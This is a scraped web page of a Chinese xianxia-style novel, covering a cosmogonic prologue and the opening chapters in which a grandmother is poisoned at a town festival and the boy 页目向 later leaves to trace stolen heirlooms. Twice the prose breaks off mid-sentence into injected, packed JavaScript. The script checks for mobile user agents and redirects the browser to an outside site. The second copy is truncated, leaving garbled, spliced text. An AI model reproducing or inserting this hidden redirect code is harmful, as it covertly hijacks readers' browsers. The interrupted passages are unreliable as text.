《第一纪》 1. 序章 传宇宙未诞生之前一切皆为虚无,只存一物称为“元”,其不可名状,不可声张,不可想象。 “元”行而存“维度”,复演“规则”,随即又化“实质”、“交互”、“循序”、“静界”,如此过了不计数时间后再化“灵息”。灵息分出几缕附于前六者,其余则自成一体,自此各化物皆获意志,称为天上神。及至灵息背生轮回而维度同规则□□时,“元”茧孕“能动”。能动破出,九天上神具现,“元”终寂灭,世界膨胀,宇宙初诞。 宇宙诞生时万事万物皆为新设,九天上神度造二十七位初元神规管。后来感应于宇宙新鲜存态又陆续演化各路神祇。初元神依诞辰论位次,第二位名旭未央,司掌创造。他之造物奇异繁杂,百态皆有,或称为兽或称为植。又话说灵息天上神鹿南子,吞吐之气赋物意志神识,这气也称“灵息”,最是偏好附着在旭未央的造物上,于是成为生灵,自然也有散逸于宇宙间的,被称为魂魄。 一日,旭未央往天上神庭呈送一物。此物八尺高矮,只两脚站立,精雕四肢与躯干,既无鳞羽,又少甲毛,皮肤光洁,五官精致,面貌尽显英气,一改往常所造兽植之象。 九天上神见之皆称妙善,因其两脚站立最区别于其他造物,特取名为人,连忙委托旭未央再代造多件,好送予各处神祇。旭未央推辞造物不易,事工浩大,恐难一时完成。 那规则天上神寂懿便提说:此物定当更招灵息相附,他即改了规则,教万物生灵交而复繁衍之,省去许多麻烦。 鹿南子听了驳道:若附了灵息便不可似物以相送。 实质天上神栅惘便道:既如此,不如送往“乐园”,远观也不失为上策。原来乐园为早前所开辟的一块天地,寻常生灵一般投放至此,做一景观供众神观览。 旭未央听了忙道:造人时他只想着如何别致,故人不似往常所造兽植般强悍,只消一触就碎,倘若放置乐园中怕有闪失。 能动天上神梵娑罗听罢走上前在人额端开了道口子,道:既改了规则,何不如再添上几条?让他能有吾辈这般吸纳调用天地神通的能力,就都储在这天目里。能纳多少能调多少,全凭因果,也不细定。自此将这二人送往“乐园”,吾等再不插手,且看如何? 静界天上神呈祖坊道:此果真要区别于其他生灵?断不可行此恶事! 那第一位维度天上神肆首开口说:且让他行,不是这般,何有吾辈极乐地?观未来没有一个太平,该是此意!说罢令旭未央只消再造一具,好成繁衍之事。 旭未央领命仿着又造了一具,领同先前那人一并见过鹿南子、寂懿后,双双引入乐园。他本欲即刻离开,却始终放心不下,便在乐园中逗留几日教给二人如何调用天目神通,又教要多繁衍子嗣,总归不安离去。 临行前两人留问名字,旭未央道:名不重要,司创而已。两人又问自己名字,旭未央想了想说:上神唤你们为人,再为你们取一名,便叫作根达亚罢。 此后数千年间,根达亚的后人们在乐园中建起一座座城、一个个国,并自称根达亚人。正如同呈祖坊虑想的那般,他们运用天目神通掌控乐园, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572378|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌压众生,彼此好喜争斗,欲望无垠,一度战火兵戈不绝日,乐园地狱两相临! 初元神中有神司革新,名瞳子虞;有神司调和,名有期。二神一卵两黄生,虽意见常相违背,却皆为乐园景象唏嘘不已,于是约赌救世。因碍于梵娑罗立定规矩,只能各寻一人代为执行,中间细事暂且不提。 只说若干年后联合政府成立,重修法典,上设民权大会,下设吏、户、礼、兵、刑、工六部,又层层分立机构,架空各国王权,开创一统局面。自此兵戈止,战火熄,坊间皆传联合政府的首脑乃创神下凡,为救万民于水火而来,并以大创称之。 然风平浪静处常暗流涌动,联合政府刚成立不久有强敌来犯,称要干干净净换个世界。来犯之敌仅一支队伍,人数尚不过百,天目神通却个个万中无一,为首者更是其中佼佼,能与创相媲,世人语其恶名为秽。此战联合政府虽险胜,创却大伤,卧榻不起,只能匆忙遗诏三老维持局面,没过几年便猝然离世,可不曾想把秽遗下。 那秽在十余年后卷土重来,一时间人心惶惶,幸得有异士相助退敌。此次秽虽又败尘而去,仍叫嚣势必将再临,不过距今又有十六年矣,却不见任何风声,或许他也随创一同去了罢...... 然祸端从不止,一如黑水潮起不落,缓缓拍岸,层层叠叠。不洁的气味正小心的弥漫,又太放肆张扬。正义的欲望与邪恶的声张交融,分明不同,却同样令人恐惧。天原祥云一片,可底下总不太平,甚至不必到偏僻角落,也能见到肮脏的道义——你瞧,这不又是一起? 2. 秦淮篇-集会风波 舍源镇坐落云顶天原下,延绵亡川河旁。 镇上人口只刚一千,皆是世代永居,又因地偏基本与世相隔绝,所袭风俗传统自成一体,说其一便是当下正举行的蝉鸣集会。传为是时暑气正盛,星象清明,丰收可预见,为庆流年亦为鼓励劳作便有了这一盛典。 且别小瞧镇上人家少、不兴旺,便以为是普通集市,据传蝉鸣集会上真正供交易的从无凡品,近些年更是风声过大,招致好些不惧路远险阻的外乡人前来寻宝。镇前闸子口的许二叔凭着旅馆生意竟也挣了不少钱! 镇上大多人家门厅都供着先祖、陈着大器物,自然不宜承接什么买卖,便都在门前设摊位。幸而镇上生意人少,平时倒也无妨,倘若逢上三节集会,尤其是这寻宝人多了以后,就是蚊子想过街也叫挤得慌。一时间镇上百姓怨声载道,谈好端端的庆典成了什么商帮团建。 河北街的老泸茶馆一贯是镇上人最爱去处。集会时节,馆内坐客较平常更多。眼下在栏里招呼倒茶的是店主的女婿,而他正招待着的这位大婶,则是镇上布店的苍三娘。店家茶壶提的老高,马步扎得紧实,手指往壶嘴一比,壶嘴对准杯口,一注水下,未洒一滴,触一下杯壁,水温也是恰到好处——这手艺真挑不出半点毛病。 苍三娘端起茶杯,开口道:“小泸官人去没去过闸子口的旅馆啊?” 他一时愣住,不知怎么接话。苍三娘继续道:“一晚上租金能买百八十杯您这茶!您说气不气人?” 他女婿是个闷葫芦,立在原处默不作声,躺在柜台后摇椅上的泸老板便接过话:“三娘你怪会打趣人的。人家多大一栋屋子?我们这儿就几片茶叶,比不得。” “哎哟,泸老板你是没去过!五平米的隔间,窗户不开一扇,床也都不铺一张,卷了地铺说是方便进出,一晚上一粒金福珠!我端个碗去三岔路讨口怕也不敢这么要价!”苍三娘故作嗔怪,言行夸张,“叫我说,您的茶叶天不亮就得上南山,一叶一叶摘,好歹劳力辛苦,不比那地铺来得划算?偏偏傻了外乡人,被他赚了个盆满钵满!” 屠户朱六叔笑说:“人家来这儿是要大宝贝,哪在乎你这几个钱?” “正是要说这个!”苍三娘高声嚷道,“也不想想这镇上可称得上宝贝的只有各家家传绝学,哪能轻巧让外人学了去?图着镇上出了将军长老就能有好东西要卖给你?想来寒脉彦那三家也不曾落魄,也不知道来淘个啥?前些天便有个人,来我布店,鬼鬼祟祟,突然问我‘有没有什么仙衣宝服?’真要有我何不自己穿上,去做那礼部大祭司?轮得着卖给他,还轻贱了物价!” 茶馆内有位戴高冠者,落座一偏角处。观他模样年近五十,从其正仪华服便该知道——他就是集会司礼官。听苍三娘言语有失,他便开口道:“集会上卖东西的不也有外乡人?只不过假借个名头罢了。”苍三娘看了他一眼,面色微怯,遂不敢作声。礼官继续道:“物以稀为贵,你们不愿意外乡人借住叨扰,合该许二叔得营生。” 苍三娘十分尴尬,静默喝茶。泸老板正纳闷三娘为何突然安分,起身一看,忙笑道:“柳礼官稀客啊!”说罢,便吩咐女婿加送上一盒茶酥。 柳礼官点头却未接过,起身道:“集会事务繁杂,柳信告辞了。”于是搁下茶钱,出了茶馆。 茶馆一角还坐着一位少年。他穿着白底衣服、水蓝披褂。那褂子丝制,薄而轻盈,好似湖上打捞出的薄霜。少年颇显清瘦,骨相外显,坐相宛若精灵鸟,细看清眉明目,一览仪表堂堂。先前一幕他看在眼里,颇有感触,在这儿细想良久。一是觉得柳礼官言辞有理,又不私受柴米,心生赞许;二来觉得苍三娘也是性情中人,一腔义气之词。 此刻临了黄昏,他也起身走出茶馆,穿过白沙桥进入河南街,溜达到府邑巷,迈进那栋镇上少见的高屋——页呈府的大门。 与其他人家不同,页呈府门厅并不供祖——右侧摆了一排长椅,左侧则放了一张长柜。长柜上有一百号格子,每一号格子都置有一物,号称百宝柜。如今柜上却积了些灰,应该有些日子没打扫了。 页目向进门便朝着里屋问道:“奶奶,那集会上真能买到什么宝贝?” 过道里走出位老妇人,头发仍旧乌黑,步伐健朗,面目慈祥,颇为精神。她只着一身朴素布服,不带一件饰品,但凭她天目溢出的金色脉络,也能猜测到其不凡身份。 页祖母手里还端着盒点心,递给页目向,怪道:“你逛了十几年还没个知晓?” “沙方的桃酥?”页目向捞了一块送入口,“那他们来个什么劲?” 页祖母含笑道:“是人家许二叔有本事。” 页目向疑说:“什么本事?” 页祖母指了指脚下,笑答:“借东西的本事。” 页目向会意笑了起来,又问道:“奶奶今晚集会你去不?” “人堆堆里挤得很,你自个儿去吧。” “不妨不妨!起码去祈个福嘛!” 老妇人拗不过孙儿只好答应,又提说页目向二伯今夜负责灯礼,定要晚归,不必等他饭,正好去看望一下脉姓其他两氏宗亲。 天未暗尽,灯火已升,与西边的晚霞交相辉映。街上人潮开始聚动,除了个别仍逗留小摊,大多数人都涌去寺庙祈福。似怕一窝蜂进去挤破了庙,庙前也支了个摊。摊桌上放了个箱子,还有好些装有净水的瓶子,以及一块刻有符文唤作回音岩的石头。 祈福仪式也不复杂,只是人太多、等得长。祈福的人先是受礼官祝祷,再沐净水施以手礼,覆盖在回音岩上,接着去庙内领取签牌,出来拿走箱中福果——便算礼成。 页家婆孙到的颇早,但也等了有一刻钟才靠上前。页目向留意到祝祷礼官正是下午茶馆里平风波的那位,骤然升起好感微笑示之。 柳礼官施礼已有一阵,困乏的很,萎缩坐在凳子上,眼皮耷拉着没半点精神,祷告也似蚊鸣。他匆匆了事后示意页目向进去,待页目向进到庙里,又给页祖母施礼。他依旧耷拉眼皮佝着身子,等页祖母覆水完,才似困过了劲,忽然来了精神,撑起身子,左右张望。 庙里并无其他人接待,页目向从供案上的签筒里取出一支签翻看,签文道:平,有惊无险,山高水长。他心中想:虽非大吉大利,终归算平安之兆。便也面露笑容。 他出来接过福果,柳礼官瞧他满面笑容,问道:“可抽了吉签不是?” 页目向微笑道:“不是,是平签。” 礼官点头,又指了指福果,道:“福果要当夜里吃,转运祈福才灵。” 页目向暗自记下,等页祖母也接过福果后便告辞柳礼官,一同访亲去了。 论及什么亲,还得说些古事:三百年前脉姓出了位将军。彼时青龙国征讨西南二府,他凭军功封王拜爵,称一字并肩脉王爷。他自恃刚强,膝下又唯有三个女儿,招女婿时便发话:要皆入赘脉姓只留其氏。而那三位驸马爷便是如今源、木、页三氏祖宗。 页家是小女婿那一支,传了几百年的幺房难免辈份大些。联合政府成立后,又因页呈官至天原长老,虽三氏同居一镇,常是源、木二家来访,页家却少有主动看望。页祖母也是忽然记起,倒也无事要紧,只想絮叨些流年家常。 源家本就人丁稀少,如今只留了末辈小哥哥看家,他告知“家中长辈皆有事在外”。页祖母寒暄一阵后,便要转途去木家。 源羽忽然叫住页目向:“目向你等会儿,我正好有东西要给你。” 页目向好奇地看着他从柜子里取出一个小盒,又递到自己手中。“喏,打开吧。”页目向留了个心眼,举得远远地打开,果然从里面喷出好些彩雾,又熏又呛。 页目向忙把盒子扔掷一旁,佯怒道:“我就知道你又要作弄我!”虽把戏失灵,源羽仍在狂笑。页目向与其斗嘴几句,也跟上祖母往木家去了。 木家倒是热闹,当家木婆婆论辈算是页祖母表侄女,但二人年岁相仿,实为闺中密友。再说木婆婆堂兄弟有一孙女,名字木弈轩。她从小被寄在本家长大,养得亭亭玉立,十分守礼。她与页目向青梅竹马,十分要好。页目向同木婆婆问过好,便上阁楼去找她了。 木弈轩听见敲门声正纳闷是谁,开门见着页目向,喜道:“向哥?你怎么这个点来了?” 页目向笑说是随祖母来探亲的,忽然问道:“我听舅母说你提前毕业,下个月便不再去学堂了?” 木弈轩点头道:“是的,可惜岁数不够,要等后年才能报考礼官。” 页目向赞叹道:“那可真是太好了!从此就有了着落,我还愁着年后该去做什么......” 木弈轩郑重道:“向哥你若真想留在舍源,不如跟着大人们学些手艺?” 页目向道:“早知长痛不如短痛,我也该去治理学业,若能考上礼官,便能就近任职留下。” 远处的灯市已十分明亮,喧嚣与烟火照进阁楼的窗户,木弈轩邀约道:“叫上煜朱去逛灯市吧?” 页目向摇头道:“我前几日碰见阿嶙,说集会期间他们府上门禁尤其严苛,怕是叫不出来。” 页家婆孙在这儿逗留许久,页目向忽然听见祖母呼唤,忙告别木弈轩,走下楼去。木家婆婆还在劝“婶娘一定留宿!”页祖母推辞再三,木婆婆才终于肯罢休。 “婶娘执意回去,我就不留了。对了,今早上我碰见页显,说是页叔叔要回来了?” 页祖母点头道:“前几日刚收到信,说是已经从南洋那边启程,应该也快到了。” “说不定今晚就到了。婶娘既然不留,趁现在灯火通亮,抓紧到家最好。” 页祖母正有此意,领着页目向出了木家。页目向回身作别:“下次再来看望舅母舅舅!” 木婆婆笑说好,又送二人出了街巷,这才返身回去。 等他们再路过庙前,已没什么人在等着。灯市倒是热闹起来:檐下的玉灯笼、手提的花灯笼、摊上的彩灯笼明晃晃交相辉映着;人人手里都攥着些物什,知名的不知名的、吃的、玩的;街上有淘气的少年郎亦有凑热闹的糊涂匠,有一种人最好认——小心翼翼的寻宝先生。他们总是左右张顾,似乎真淘到什么了不起的珍品。 两道摊前都挤满了人,中间巷道只留了二尺宽,摩肩接踵,来往各不相让。见此情形页目向也不愿再凑上去,早早地跟着祖母回了家,至少页呈府门前独得清净。 回屋后页目向放包,取出签牌和福果,好奇问道:“奶奶,你领的什么签?” 页祖母闻言拿出签牌,念道:“平签,签词倒好,福祸相生,逢凶化吉。” 页目向忙道:“你福果吃了吗?礼官伯伯说要当晚吃掉,才能转运祈福。” 页祖母听了又取出福果,笑道:“倒好像确实有这规矩。”才刚咬一口,却突地脸色一变,双目圆睁,两手死死抵住喉咙,哐当一声摔倒在地。 页目向见状顿时慌了神,一个箭步冲上前去托起祖母,将她靠在自己肩膀,帮忙捋了捋背,急问:“奶奶!怎么了?噎着了么?”页祖母眼神开始涣散,只听见她说了几个“砂”“咳”的单字,却连不成话。页目向冷汗直冒,一时间乱了手脚,冲着门外大喊:“快来人啊!”但人都在灯市,怎么可能听得见?眼瞧着祖母一时竟没了呼吸,就要倒去,页目向声音愈发颤抖:“奶奶,你别急!咳一下,吐出来!” 页祖母说不出声,只是手依旧抵着脖子。页目向忽然明白过来,手运到其后颈处发力。页祖母猛地往前一倾,咳出一粒黑砂,这才喘得上气,却依旧铁青一张脸。她声音微弱,只说了句“快去找郎中”便又昏了过去。页目向也顾不得许多,将祖母搁置地上,冲着爬上角楼天台,拿起钟锤,奋力连敲铜钟四五下,慌忙滚下了楼。 钟声响彻七八里,灯市上的人听见钟声,晓得出事,又一窝蜂的往这边涌。页显今日负责灯礼,时刻注意着镇上动静,故而听见钟响,到的十分迅速。他跨进自家门槛,看到母亲不省人事又听见侄儿急喊快找郎中,心中一紧转身出门,问向涌过来的人潮。人群嘈杂却无一人应答,此时礼官柳 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页显忽然问道:“柳大哥,怎么从来不曾听说镇外有个贾郎中?” 页目向跟在他们身后,闻言立即警觉,正要观察四周,突然听见二伯大喊一声:“目向!接住!” 电光火石间,页目向只觉着眼前闪过一道人影,想也没想便扑上前去抱住,背脊狠狠撞上地面。他嘶声睁眼:怀中抱着的正是自己的祖母!他正要责问二伯,抬头却见柳信与二伯正在厮打,又听见二伯怒声质问道:“我们无冤无仇,你为何害我母亲!” 柳信倒还挺会讲理,一边调动天目施展法诀,一边诚恳劝说:“页二哥你莫怪我心狠,我也是逼不得已。页老辈是难得的月相灵息!我本已不抱期望,可今日遇见着实难罢手,还请你能有成人之美,助我成功!” “荒唐!如何成就你弑母之仇?”页显天目能量涌动,汇成一道金光向柳信劈去。 柳信早有准备,坐地生起一道黑色屏障,轻松挡下,叹道:“页二哥,我们小门小户比不得你们家族传承,我不怪天道不公,却也不愿抱憾终身,只能得罪了!” 页显怒极,只想将这歹人挫骨扬灰,却突地感觉周身一软,瘫倒在地。页目向在旁边观望一阵,才刚明白局势,忽见一人鬼鬼祟祟,不知从哪探出。正要提醒二伯,不曾想那人身手矫健,瞬间施针刺中二伯灵海穴。 “你们!”页显这才注意到身后有人,此刻却已不得动弹。页目向只得死死护住祖母,不敢妄动。 柳信起身收了屏障,痛心疾首道:“我着实不忍,但只能得罪了!”说罢,直朝页目向袭去。 页目向慌忙展开一道光屏,却并未感受到预想中的冲击力。待他定睛一看:柳信与那暗中偷袭之人皆像被锁住一般,忽然听见身后传来一声质问:“大胆恶徒!怎敢光天化日欺辱老幼,放肆行凶?” 页目向认出声音,大喜过望,连忙转头道:“爷爷!奶奶她......” 页长老点头示意已经知晓,点了身后两名随官押解那两人返回镇上,又对页显道:“显儿,你母亲要紧,委屈你多躺一阵。” 只见数道金光从其天目涌出,无数光点从中迸发、悬浮、环绕,汇成光屏罩住四周,点亮黑夜进入白昼。天地灵气仿佛汇集于此,如同奔流不息的大江之水,缓缓合进页祖母身体。不久后,页祖母总算清醒过来,只是身体依旧虚弱,页目向连忙上去搀扶。 页长老随即解了页显穴道,摇头叹道:“即便是礼部文官也不可荒废武功啊!” “儿子无能!”页显闻言就要磕头问罪。 页长老连连摆手,叹道:“终究是那两个恶徒实属歹毒!先回去罢。此次我亲审,必定严惩之!” “爷爷可查一查那闭口砂是怎么来的?”页目向忙道,“他肯定是将其混入福果中,还诓我今晚便吃!” “闭口砂?”页长老若有所思,“倒是说得清缘由了。” 页目向正要追问,页祖母却突然开口道:“那是柳家的不传秘药......” 话说页长老回府后连夜升堂问审,虽欲重惩二人,但念及其谋命未成,便也不打算定他们死罪。不料那不晓姓名的人竟趁随官不备,一头磕死在墙棱上,遂只得审问柳信一人。 那柳信在公堂上,却半点惧意也无,竟有些认命的味道了,还不等页长老问话,便道:“下官认罪。” 页长老道:“你只说为何投毒?” “小百姓家难有所长,不似达官贵人终有所依,欲成不免剑走偏锋,只是恰巧被您给撞上罢了,我自认了。” 页长老问道:“如何无所长?如何终所依?” 柳信苦笑道:“下官苦修数十载,职不过一偏镇礼官,再无可想——此为无所长。而您家中绝学《辉照》,后生再不济,照猫画虎三四十年也终有大成,或去兵部觅个将军,或凭渊源成为长老——此为终所依。” 页长老沉默半晌,叹道:“老夫也算是看着你长大,后生当中数你最有气节,料想应该是不执着于这些功名利禄?” “您说的不错。”柳信掷地有声,“匹夫所求是堂堂立于天地之间!” 页长老反问道:“所谓堂堂立于天地间便要投毒加害老妇儿童?” 柳信一时泄气,垂头答道:“此中故事涉及下官信义,不可公告。” 页长老已然猜中几分,凝视道:“莫不是‘暗潮’的缘故?” 柳信猛然抬头,惊讶问道:“您怎么会......” 凭他反应页长老心中已然明了,叹道:“老夫也感叹世界不公,但祖宗规矩并非老夫一人之力可改,容老夫不能将《辉照》公众,就算老夫有私心吧。” 柳信似乎仍有话要讲,页长老却并不理会,吩咐两旁随官:“带下去吧!严格关押即可,省去那些肉刑罢。” 那柳信就此蔫了气,被押解下去。页长老望着那晃悠悠的背影,一个主意已落心间。 3. 秦淮篇-失窃寻物 蝉鸣集会前后举行七天,现已停办。老泸茶馆反倒更加热闹,不少常年宅在家的生客也都频频露面。倒不是为了柳信那档子事,毕竟多年街坊邻居,再来页老辈也算有惊无险,众人嘴上多少留些情面,指责几句什么人心叵测,也就是了。此事得从那一日有人急冲冲进来通报“页家丢东西了”说起。 送消息的人是住页府隔壁的小草儿师傅,他兴奋道:“我去页府看望页老辈,一进门便觉着不对劲,左右环顾好几圈,你猜如何?百宝柜空了几格!” “这有什么大不了的,还让你特意来跑一趟报告?”泸老板依旧躺在他那摇椅上,眼睛都懒得睁一下,“你还替页长老盘查库存了?”座下一众也是不以为意。 “你们话别听一半!”小草儿师傅不乐意了,面红耳赤的,“我和他老人家隔邻隔壁的,常出没往来是有的。百宝柜放那积灰三个月了都不见得有人打扫......” 屠户朱六叔打趣道:“你倒关心错了!页老辈年纪大,页显二哥礼部事儿忙,目向孩子又是男娃,家里常没个贤惠人,你若真要闲了自己帮忙打扫去!” “你们便不如我知晓根底!”小草儿师傅愈发生气,“别不信!我生怕误会,特意问了页长老,他老人家这才发现,还夸我心细着呢!” 泸老板闻言起身,问道:“你莫放谎!真丢了?” “他还真敢问页长老!”朱六叔开怀大笑,“就不怕惦记人家家底的事瞒不住?” 苍三娘闻言得意道:“我说什么来着!外乡人一个个贼眉鼠眼,买不上寒脉彦三家的宝贝,改偷上了!” 小草儿师傅好不容易得到一句正反馈,连忙附和她几句。 “先别乱开腔!这事儿有蹊跷!”泸老板走至栏里拉过苍三娘,竖指噤声。 苍三娘打掉他手别过身去,抬手振振有词道:“那长柜里的东西就一摆设,镇上人谁不知道?谁会去惦记?他们一众去了镇外,门锁又不留心,那贼人定是趁机溜了进去!”此话一出,众人深以为然,皆拍案而起,势要向礼官讨个说法,定要整治一番。 又过了几日,镇上流言蜚语,仍不太平。页长老便把页目向叫去书房,问道:“向儿,你奶奶身体可有起色?” 页目向心中奇怪:这几日是自己和爷爷一起照顾奶奶,怎么专门又来问自己?耐心答道:“已经好了大半,午间喝粥也有两小碗,应该没什么大碍。” 页长老仍有闲心观赏窗景,也不像真要问出个什么回答:“那你也不用担心家中情况。” 页目向心中警铃大作,忙问道:“爷爷您这是?” 页长老指着窗户,窗中景色并非页府墙外,而是河北街老泸茶馆。虽听不见路人耳语,但总归看得出他们在议论什么。此窗名为风镜,页府共制一十八扇,分别揽入镇上一十八条街景。“屋里遭贼了,这几天镇上议论不太平,你愿不愿意替爷爷出门走一遭?” 页目向这才松了口气,道:“若是要找东西的话,目前可有什么线索吗?” 页长老领着页目向走下大厅,指了指长柜:“你瞧,这儿空了三格。这些东西虽然称不上名贵,但丢了倒也怪可惜的。我回乡途中经过秦淮府,听闻境内陆匪猖獗。我想若真是外乡人为之,一般人也没这胆量,你可去此处调查一番。” 页目向自然清楚家中陈设,一眼便知失了何物,笑道:“爷爷不像是要找东西,倒像是要锻炼我。” 页长老大笑道:“那你可愿意去?” 页目向点头答道:“自然愿意,只是奶奶尚未痊愈,马上您也要返回天原,二伯他又......” “我已书信告知你三姑,她不多久便回来长住。只是......你千万别被我们两个老家伙绑住了手脚。”页长老无奈苦笑,随即又从长柜里取出一块令牌、一柄宝剑、一个锦袋,“袋子你知道用法,节气令一日只可一用以救急,万千切记。至于这剑,若你能用上时,就不虚此行了。你自己再去收拾些行李,备几件你前些年的衣服,明天一早就走。” 页目向疑道:“前些年?” 页长老点头道:“你一人在外诸多不便,我给你介绍两个同行伙伴,一路上也好有个照应。” 页目向只好应允,收好宝物,转身进了里卧。 页目向小心推开祖母卧室的门,走到床边小凳坐下:“奶奶,三姑要回家了。” 页祖母半靠着枕头,轻声道:“又和陆相公割孽了不是?” 页目向不禁笑道:“她自然是回来陪您呐!” 页祖母埋怨道:“不过是伤了喉咙,何必如此兴师动众的。” 页目向又道:“奶奶,家里遭贼了。” 页祖母忙问:“丢了什么?” “红晶石、黄玉冠和绿翠甲。”页目向枕在床被上,数过失物,“镇上人都议论是外乡人偷的,要讨个说法,爷爷让我去寻回来。” “他倒是惯会编排人。”页祖母打趣道,“出去看看也好,别像你二伯那样,困在镇子里了。” 页目向称好:“我明天便要上路,奶奶您自己要多注意身体。三姑跟二伯一样马虎,还得您费心思好好管教这一双儿女了!” 页祖母听了笑道:“这么说我还得操劳了?” 页目向撒娇道:“我会尽快回来的。” 页祖母抚上他头发,叮嘱道:“你再多备些法宝,总归稳妥些。在外不像舍源镇,别被人误用了善心!” 页目向笑道:“爷爷说给我指了两名同行伙伴,您也别担心了。” 页祖母一听便知是何人,奇怪道:“若弈轩和煜朱也一起去,我自然放心,只是这煜朱?” “我也奇怪爷爷使的什么法子?还让我替煜朱备几件衣服,但应该是早就商量好,让我明早去镇子口等着就是。” 页祖母点头称好,页目向轻挽着祖母手臂,许久未再说话。 第二日晨光微亮,页长老便到了彦府门前。 彦府位于舍源镇最北端,背靠后山,圈了一片草地作为马场。早年间彦家主事嫌铺路的石头娇柔,就将府前街道翻修,都换做坚硬的花岗岩,故此处大不同于镇上其他地方。彦府门前有十只石兽,兵列街巷两旁,獠牙可怖、庄严肃穆。黑色围檐如巨龙蜿蜒起伏通向远方天际,真不愧为将军门第! 页长老叩响门环,出来一小仆应门。听页长老说要见彦家主事,那小仆不敢怠慢,忙在前带路,迎了进去。 彦府门府阔绰,进门却只见一片青草地与一长廊。那长廊九曲之势,不知通向,廊下不设围栏只立庭柱。小仆带着页长老在长廊里前行一段,忽而又转身往后退一段,如此反复几回,彦府主楼忽然立于草场之中。进入主楼,会客厅按八卦方位环设八椅,椅背各靠一柄石屏风,屏风上还绘着人物肖像。页长老留意到乾坤二屏风上分别画的是彦家祖宗与当今元帅封景,其余则没细看。小仆将他请至巽椅,只说稍等片刻。过了好一阵彦家主事才现身,招呼一声久等,语气却十分不恭。 页长老起身拱手,笑道:“打扰了。” 主事径直坐上离椅,冷声道:“长老怎么有空到彦府作客?” 页长老道:“特来向您求一个人。” 主事性情耿直,直截了当:“你要煜朱作甚?” 页长老答:“自然是为少年志向。” 主事大笑道:“长老您年过耄耋,何来少年之说?” 页长老也不恼,含笑道:“却有人仍是少年郎。” 主事叹道:“我大约知道你为什么来,只是煜朱年纪刚过十四,又是炎氏这一支唯一血脉,请恕我难以答应。” 页长老答道:“知晓煜朱金贵,所以不敢冒险。且不说如今后生可畏,稳镇河山;我予法宝三件,可保无忧;单说煜朱天赋异禀,正如当年封景风采,只消稍加引导必成大器!” 主事冷笑道:“长老这是哪里话?彦府会亲自教导,您为国为民,怎好劳烦?” “龙与鲤鱼混同生养,偶有金鲤飞跃龙门,一并迎出,您可知原身是龙是鱼?” 主事听罢半晌,才继续道:“长老能言善辩。镇上青年才俊极多,您尽可择其一,我就不留客了。” 页长老似不肯罢休仍在劝说,主事不敢硬赶也不曾松口,二人一直僵持着。又过了一阵,听见草场上收鼓鸣金,主事起身离席,佯装作要进别厅,回头讥讽道:“厨房已经备好了餐饭,长老是要留下用膳吗?” 页长老静默片刻,道:“今日叨扰了。” 主事也松了口气,态度稍好,忙唤人送页长老出府。 另一边,页目向和木弈轩半个钟头前便接到了从后山跑出的炎煜朱。 木弈轩好奇道:“你从哪出来的?” 炎煜朱欣喜答道:“我家马场连着后山,中间多得是没有围栏的缺口,点卯后找个空闲,他们怎么拦得住我?” 页目向拉他过去问话:“我也要问你,你什么时候见的我爷爷,还想出这么一招?” “大约是前天,我趁着门禁换班的时间差,上你家去寻你不在,遇到了页爷爷。他老人家便与我约好要与你做个伴。”他一边说着一边挽上二人胳膊,小跑往镇外去,“主事他们查的厉害,好不容易有了机会出来玩,得快走,免得被抓回去!” 等页长老出了彦府,三人已行至十几里外了。 木弈轩实在气喘,略放慢了些步脚,问炎煜朱:“你家教怎么从来都这么严苛?” 炎煜朱忿忿不平:“也不尽是,我看家里哥哥们行动和你们一样自由,所以说大人们好生偏心!” “这其中故事你们就不知道了吧。”页目向故意提了一嘴,含笑不语。木弈轩和炎煜朱哪受得他这般卖关子?摇了他半天才讨出后话。“别晃了!说还不成!你家祖上彦老爷子虽然座下侍奉百子,却只有炎擒是嫡生的,如今他这一支就你一个,自然觉着娇贵。” 炎煜朱噗呲一声:“我还以为是什么秘闻,我家里不讲究这个!封伯伯,严哥哥,又有哪个是靠着嫡系血脉上位的?” “我倒觉得向哥说的有理,并非是望子成龙,只是怕出事。”木弈轩思索一阵,做了个比喻,“像个瓷娃娃!” 炎煜朱一听笑的更乐呵:“那我可要让他们知道我可是石头做的!”正说着遇上一岔路,他想也没想就往大路上去了。 页目向叫住他:“石娃娃你走错道了,左边这条道。” 木弈轩问道:“不是去秦淮府吗?走官道是对的呀。” “煜朱不刚还说会有追兵吗?小路也能到,还近些。”页目向从乾坤袋里取出一幅地图,摊在地上叫二人过来,指着其中一处岔路,“你们瞧,咱们现在快出了巴蜀府,大致在这儿。走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这日黄昏,一人急冲冲地跑进老泸茶馆大呼:“新闻!新闻!”馆内众人见他跑得喘不上气忙问是何事。倒是泸老板体贴,让他先坐,叫他不急,慢慢说。“我刚从镇外回来,路过闸子口,你们猜我见着谁?”众人一哄他别卖关子,他一字一句道:“严!少!将!” 闻得其名,在座宾客或大呼或质疑,泸老板也惊道:“当真?” “我原也以为高官事忒多,不掺和这些家常纠纷。但赤甲赤胄又一头赤发,那胳膊比我脖子都粗,人高马大的,相貌又艳丽的像只彩雀,还能是谁?绝对错不了!” 馆内似炸开了锅,众人皆指点起江山: 有人道:“看来彦家这次是要动真格!” 另一人道:“我看未必,页长老都不在家,动真格给谁看?真要动真格,严少将未必算得了一盘菜......” 座内有好事者挑衅道:“你便算盘菜?” 那人一拍桌子怒道:“与我有何干?与你又有何干?说别人家事,干嘛扯上你我姓名!” 泸老板见势不妙,立马劝众人赶紧收了嘴上功夫,免得惹来麻烦,众人这才肯罢休。 